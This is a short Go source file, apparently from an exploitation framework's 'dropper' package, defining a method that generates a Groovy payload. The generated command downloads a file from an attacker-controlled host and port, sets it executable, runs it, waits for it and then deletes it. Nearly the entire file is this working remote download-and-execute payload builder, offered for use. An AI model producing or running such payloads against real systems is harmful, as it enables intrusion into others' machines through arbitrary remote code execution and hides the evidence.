package dropper

import (
	"fmt"
)

// Using Groovy, download a remote file, set it to executable, execute it, and delete it.
func (groovy *GroovyPayload) HTTP(lhost string, lport int, downloadFile string, output string) string {
	// download and write the file
	cmd := fmt.Sprintf(`def f = new File('%s');f.withOutputStream{it << new URL('http://%s:%d/%s').openStream()};`, output, lhost, lport, downloadFile)
	// set the download binary as executable
	cmd += `f.setExecutable(true);`
	// execute it
	cmd += fmt.Sprintf(`def p = '%s'.execute();`, output)
	// wait for the process to finish
	cmd += `p.waitFor();`
	// delete it
	cmd += "f.delete();"

	return cmd
}
